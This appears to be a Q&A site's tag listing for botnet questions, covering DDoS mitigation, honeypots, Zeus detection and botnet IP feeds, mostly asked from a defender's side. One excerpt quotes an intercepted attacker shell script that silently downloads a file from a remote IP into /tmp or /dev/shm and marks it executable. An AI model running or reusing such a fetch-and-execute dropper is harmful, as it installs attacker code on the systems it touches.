A botnet is a collection of computers that are under the control of a person or group, usually facilitated by malware. These computers are often used to take part in DDoS attacks and spamming.

learn more… | top users | synonyms

7
votes
6answers
1k views

how to mitigate a DDoS from botnet on your website that comes from random IPs

I am wondering how do you mitigate a ddos attack which is coming from a botnet and hitting random URLs on a website. If there was a consistent URL it was hitting then it would be fairly simple, and ...
11
votes
3answers
2k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
12
votes
5answers
7k views

Why do botnets use IRC but not a web service for communication?

IRC seems still the most prominent way for communication within botnets. Why do attackers choose IRC? In my (very naive) opinion, to set up a web service is far more easier.
9
votes
3answers
1k views

Publicly available Botnet Traffic dataset

Is there any publicly data set on botnet traffic for machine learning purposes. i.e traffic set for both bad and good bots
7
votes
2answers
1k views

How to attract traffic to a honeypot

I have set up a honeypot, but I am not happy with the low traffic load and I would like to trigger much higher traffic levels. What methods would attract high bot activity? These are the ideas I ...
6
votes
6answers
6k views

How can I tell whether this computer is part of a botnet?

One of the computers that I manage (in the family, not business) has a weird set of files in its boot: bash.exe, curl.exe, uname.exe, sed.exe, rm.exe, tail.exe, cut.exe, awk.exe, cat.exe, chmod.exe, ...
4
votes
3answers
2k views

How to check if URL/ IP belongs to a zeus bot

I have a set of URL's which might be Zeus hosts / C&C servers since my security appliance says so. Is there a way to check if these really belong to Zeus?
5
votes
1answer
951 views

Tools to identify and report hacking attempts originating inside reputable organizations?

Re: Should I report hacking attempts? - Server Fault Lots of people look at their own logs for attacks from the outside. But who regularly reports such attacks back to the source? I'm mainly ...
12
votes
4answers
7k views

Looking for botnet IP address feeds to protect against DDoS

I would like to get a live feed of botnet IP addresses delivered from a service and block them under certain conditions. Preferably community based/open source but open to looking at worthy commercial ...
8
votes
4answers
5k views

Block all BotNets and TOR addresses from accessing our site

I've heard that many DOS attacks and general "black hat hacking" attempts occur over the TOR network. Is it possible for me to dynamically block source IP's by their presence in a BotNet or similar ...
4
votes
2answers
349 views

How to get rid of an Ad bot?

The issue started due to setting up a proxy server on a PC connected to my network. I then realized that all of my devices that connected to the network, including PCs and phones, are all infected by ...
3
votes
1answer
632 views

What is known about the sirefef/zeroaccess malware/botnet?

There appears to be an increase in p2p communication among botnets that has been attributed to the sirefef/zeroaccess malware botnet. What is known on this particular threat?
1
vote
4answers
336 views

What can a zombie computer feasibly install and run?

I'm experimenting with a Proof of Work system that tries to force the use of a browser in order to solve the client puzzle. Basically, instead of just handing off the puzzle as hash with a well known ...
0
votes
3answers
447 views

How do bots communicate in the zeus botnet?

I read on http://www.abuse.ch/?p=3499 that: ZeuS is now using an “IP list” which contains the IP addresses of other drones participating in the P2P botnet. An initial list of IP addresses is hardcoded ...